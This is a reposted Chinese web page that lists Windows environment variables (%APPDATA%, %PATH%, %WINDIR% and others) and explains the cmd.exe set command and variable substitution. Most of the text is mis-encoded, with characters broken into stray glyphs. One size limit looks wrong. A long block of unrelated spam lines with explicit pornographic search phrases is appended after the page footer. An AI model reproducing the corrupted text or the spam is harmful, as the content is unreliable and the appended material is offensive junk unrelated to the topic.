  4.改變環(huán)境變量和環(huán)境變量中的值應(yīng)該注意什么?

  環(huán)境變量和環(huán)境變量的值不要含有空格,也不要用中文,切記!

 

一直想找齊類似%windir%之類的帶百分號(hào)的這種路徑表達(dá)方式,因?yàn)橐谱饕恍┌惭b包的話,用這些變量很是方便。

下表列出 Windows 服務(wù)器操作系統(tǒng)的系統(tǒng)和局部環(huán)境變量。

變量 類型 描述 
%ALLUSERSPROFILE%
局部
返回“所有用戶配置文件”的位置。

%APPDATA%
局部
返回默認(rèn)情況下應(yīng)用程序存儲(chǔ)數(shù)據(jù)的位置。

%CD%
局部
返回當(dāng)前目錄字符串。

%CMDCMDLINE%
局部
返回用來(lái)啟動(dòng)當(dāng)前的 Cmd.exe 的準(zhǔn)確命令行。

%CMDEXTVERSION%
系統(tǒng)
返回當(dāng)前的“命令處理程序擴(kuò)展”的版本號(hào)。

%COMPUTERNAME%
系統(tǒng)
返回計(jì)算機(jī)的名稱。

%COMSPEC%
系統(tǒng)
返回命令行解釋器可執(zhí)行程序的準(zhǔn)確路徑。

%DATE%
系統(tǒng)
返回當(dāng)前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關(guān) date 命令的詳細(xì)信息,請(qǐng)參閱 Date。

%ERRORLEVEL%
系統(tǒng)
返回上一條命令的錯(cuò)誤代碼。通常用非零值表示錯(cuò)誤。

%HOMEDRIVE%
系統(tǒng)
返回連接到用戶主目錄的本地工作站驅(qū)動(dòng)器號(hào)。基于主目錄值而設(shè)置。用戶主目錄是在“本地用戶和組”中指定的。

%HOMEPATH%
系統(tǒng)
返回用戶主目錄的完整路徑?;谥髂夸浿刀O(shè)置。用戶主目錄是在“本地用戶和組”中指定的。

%HOMESHARE%
系統(tǒng)
返回用戶的共享主目錄的網(wǎng)絡(luò)路徑?;谥髂夸浿刀O(shè)置。用戶主目錄是在“本地用戶和組”中指定的。

%LOGONSERVER%
局部
返回驗(yàn)證當(dāng)前登錄會(huì)話的域控制器的名稱。

%NUMBER_OF_PROCESSORS%
系統(tǒng)
指定安裝在計(jì)算機(jī)上的處理器的數(shù)目。

%OS%
系統(tǒng)
返回操作系統(tǒng)名稱。Windows 2000 會(huì)將該操作系統(tǒng)顯示為 Windows NT。

%PATH%
系統(tǒng)
指定可執(zhí)行文件的搜索路徑。

%PATHEXT%
系統(tǒng)
返回操作系統(tǒng)認(rèn)為可執(zhí)行的文件擴(kuò)展名的列表。

%PROCESSOR_ARCHITECTURE%
系統(tǒng)
返回處理器的芯片體系結(jié)構(gòu)。值:x86 或 IA64(基于 Itanium)。

%PROCESSOR_IDENTFIER%
系統(tǒng)
返回處理器說(shuō)明。

%PROCESSOR_LEVEL%
系統(tǒng)
返回計(jì)算機(jī)上安裝的處理器的型號(hào)。

%PROCESSOR_REVISION%
系統(tǒng)
返回處理器的版本號(hào)。 

%PROMPT%
局部
返回當(dāng)前解釋程序的命令提示符設(shè)置。由 Cmd.exe 生成。

%RANDOM%
系統(tǒng)
返回 0 到 32767 之間的任意十進(jìn)制數(shù)字。由 Cmd.exe 生成。

%SYSTEMDRIVE%
系統(tǒng)
返回包含 Windows 服務(wù)器操作系統(tǒng)根目錄(即系統(tǒng)根目錄)的驅(qū)動(dòng)器。

%SYSTEMROOT%
系統(tǒng)
返回 Windows 服務(wù)器操作系統(tǒng)目錄的位置。

%TEMP% 和 %TMP%
系統(tǒng)和用戶
返回對(duì)當(dāng)前登錄用戶可用的應(yīng)用程序所使用的默認(rèn)臨時(shí)目錄。有些應(yīng)用程序需要 TEMP,而其他應(yīng)用程序則需要 TMP。

%TIME%
系統(tǒng)
返回當(dāng)前時(shí)間。使用與 time /t 命令相同的格式。由 Cmd.exe 生成。有關(guān) time 命令的詳細(xì)信息,請(qǐng)參閱 Time。

%USERDOMAIN%
局部
返回包含用戶帳戶的域的名稱。

%USERNAME%
局部
返回當(dāng)前登錄的用戶的名稱。

%USERPROFILE%
局部
返回當(dāng)前用戶的配置文件的位置。

%WINDIR%
系統(tǒng)
返回操作系統(tǒng)目錄的位置。


設(shè)置環(huán)境變量
使用 set 命令創(chuàng)建、更改、刪除或顯示環(huán)境變量。set 命令只更改當(dāng)前解釋器環(huán)境中的變量。

• 要查看變量,請(qǐng)?jiān)诿钐崾痉骆I入:
setVariableName

• 要添加變量,請(qǐng)?jiān)诿钐崾痉骆I入:
setVariableName=值

• 要?jiǎng)h除變量,請(qǐng)?jiān)诿钐崾痉骆I入:
setVariableName=

可以將大多數(shù)字符用作變量值,其中包括空格。如果使用特殊字符 <、>、|、& 或 ^,則必須在它們前面加上轉(zhuǎn)義字符 (^) 或引號(hào)。如果使用引號(hào),則必須將引號(hào)作為值的組成部分,因?yàn)榈忍?hào)后面的任何內(nèi)容都會(huì)被視為值。請(qǐng)考慮下列示例:

• 要?jiǎng)?chuàng)建變量值 new&name,請(qǐng)鍵入: 
set varname=new^&name

• 要?jiǎng)?chuàng)建變量值 "new&name",請(qǐng)鍵入: 
set varname="new&name"

• 如果在命令提示符下鍵入 set varname=new&name,就會(huì)出現(xiàn)與下面內(nèi)容類似的錯(cuò)誤消息: 
“'name' 不是內(nèi)部或外部命令,也不是可運(yùn)行的程序或批處理文件。”

變量名不區(qū)分大小寫(xiě)。但是,set 顯示的變量與您鍵入的完全相同??梢栽谧兞棵薪Y(jié)合使用大寫(xiě)字母和小寫(xiě)字母,這樣可以使代碼更具有可讀性(例如,UserName)。

注意 
• 單個(gè)環(huán)境變量的最大大小為 8192 字節(jié)。
• 所有環(huán)境變量的大小總和(包括變量名和等號(hào))最大為 65,536 KB。

替換環(huán)境變量值
要在命令行或腳本中啟用變量值替換,請(qǐng)將變量名包括在百分號(hào)之中(即,%VariableName%)。使用百分號(hào)可以確保 Cmd.exe 引用變量 值,而不是進(jìn)行文字比較。為變量名定義變量值之后,請(qǐng)將變量名包括在百分號(hào)之中。Cmd.exe 搜索該變量名的所有實(shí)例,并用定義的變量值進(jìn)行替換。例 如,如果創(chuàng)建包含不同值(例如,用戶名)的腳本,并且想要用這些值為每個(gè)用戶定義 USERNAME 環(huán)境變量,可以使用包括在百分號(hào)之中的  USERNAME 來(lái)編寫(xiě)代碼。運(yùn)行此腳本時(shí),Cmd.exe 將用變量值替換 %USERNAME%,這樣就消除了為每個(gè)用戶手動(dòng)執(zhí)行此任務(wù)的必要。 變量替換是不可遞歸的。Cmd.exe 檢查變量一次。有關(guān)變量替換的詳細(xì)信息,請(qǐng)參閱 For 和 Call。

http://www./dos/ 
另外,在windows中打開(kāi)cmd,然后打set命令即可看到這些環(huán)境變量,兩端加上%即可使用。

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多

    日本不卡在线视频你懂的| 午夜日韩在线观看视频| 真实国产乱子伦对白视频不卡| 少妇人妻无一区二区三区| 手机在线不卡国产视频| 婷婷九月在线中文字幕| 中文精品人妻一区二区| 日本不卡一区视频欧美| 免费特黄欧美亚洲黄片| 亚洲欧洲成人精品香蕉网| 黄片免费在线观看日韩| 国产av一区二区三区麻豆| 搡老妇女老熟女一区二区| 手机在线观看亚洲中文字幕| 国产午夜精品亚洲精品国产| 国产午夜精品亚洲精品国产| 久久精品中文字幕人妻中文| 国语对白刺激高潮在线视频| 美女被啪的视频在线观看| 国产又色又粗又黄又爽| 国产av大片一区二区三区| 成人午夜爽爽爽免费视频| 一二区不卡不卡在线观看| 亚洲精品中文字幕欧美| 国产又粗又猛又黄又爽视频免费| 国产又粗又爽又猛又黄的| 欧美区一区二在线播放| 爽到高潮嗷嗷叫之在现观看| 国产精品亚洲一级av第二区| 亚洲欧洲日韩综合二区| 在线观看国产午夜福利| 国产午夜在线精品视频| 成人综合网视频在线观看| 亚洲第一区二区三区女厕偷拍| 高清一区二区三区不卡免费| 精品日韩视频在线观看| 激情图日韩精品中文字幕| 国产精品熟女在线视频| 精品欧美在线观看国产| 国产一二三区不卡视频| 大香蕉网国产在线观看av|